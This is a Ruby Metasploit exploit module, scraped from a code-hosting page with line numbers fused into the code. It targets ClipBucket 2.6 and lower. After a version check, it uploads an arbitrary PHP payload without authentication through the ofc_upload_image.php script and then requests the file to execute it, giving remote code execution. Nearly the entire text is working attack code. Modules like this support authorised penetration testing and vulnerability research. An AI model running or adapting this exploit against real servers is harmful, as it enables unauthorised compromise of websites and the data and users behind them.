Path: blob/master/modules/exploits/unix/webapp/clipbucket_upload_exec.rb
19566 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::FileDropper1011def initialize(info = {})12super(13update_info(14info,15'Name' => "ClipBucket Remote Code Execution",16'Description' => %q{17This module exploits a vulnerability found in ClipBucket version 2.6 and lower.18The script "/admin_area/charts/ofc-library/ofc_upload_image.php" can be used to19upload arbitrary code without any authentication. This module has been tested20on version 2.6 on CentOS 5.9 32-bit.21},22'License' => MSF_LICENSE,23'Author' => [24'Gabby', # Vulnerability Discovery, PoC25'xistence <xistence[at]0x90.nl>' # Metasploit module26],27'References' => [28[ 'PACKETSTORM', '123480' ]29],30'Platform' => ['php'],31'Arch' => ARCH_PHP,32'Targets' => [33['Clipbucket 2.6', {}]34],35'Privileged' => false,36'DisclosureDate' => '2013-10-04',37'DefaultTarget' => 0,38'Notes' => {39'Reliability' => UNKNOWN_RELIABILITY,40'Stability' => UNKNOWN_STABILITY,41'SideEffects' => UNKNOWN_SIDE_EFFECTS42}43)44)4546register_options(47[48OptString.new('TARGETURI', [true, 'The base path to the ClipBucket application', '/'])49]50)51end5253def uri54return target_uri.path55end5657def check58# Check version59peer = "#{rhost}:#{rport}"6061vprint_status("Trying to detect installed version")6263res = send_request_cgi({64'method' => 'GET',65'uri' => normalize_uri(uri, "")66})6768if res and res.code == 200 and res.body =~ /ClipBucket version (\d+\.\d+)/69version = $170else71return Exploit::CheckCode::Unknown72end7374vprint_status("Version #{version} detected")7576if version > "2.6"77return Exploit::CheckCode::Safe78else79return Exploit::CheckCode::Appears80end8182return Exploit::CheckCode::Safe83end8485def exploit86peer = "#{rhost}:#{rport}"87payload_name = rand_text_alphanumeric(rand(10) + 5) + ".php"8889print_status("Uploading payload [ #{payload_name} ]")90res = send_request_cgi({91'method' => 'POST',92'uri' => normalize_uri(uri, "admin_area", "charts", "ofc-library", "ofc_upload_image.php"),93'headers' => { 'Content-Type' => 'text/plain' },94'vars_get' => { 'name' => payload_name },95'data' => payload.encoded96})9798# If the server returns 200 we assume we uploaded the malicious99# file successfully100if not res or res.code != 200 or res.body !~ /Saving your image to: \.\.\/tmp-upload-images\/(#{payload_name})/ or res.body =~ /HTTP_RAW_POST_DATA/101fail_with(Failure::None, "#{peer} - File wasn't uploaded, aborting!")102end103104register_files_for_cleanup(payload_name)105106print_status("Executing Payload [ #{uri}/admin_area/charts/tmp-upload-images/#{payload_name} ]")107res = send_request_cgi({108'method' => 'GET',109'uri' => normalize_uri(uri, "admin_area", "charts", "tmp-upload-images", payload_name)110})111112# If we don't get a 200 when we request our malicious payload, we suspect113# we don't have a shell, either.114if res and res.code != 200115print_error("Unexpected response, probably the exploit failed")116end117end118end119120121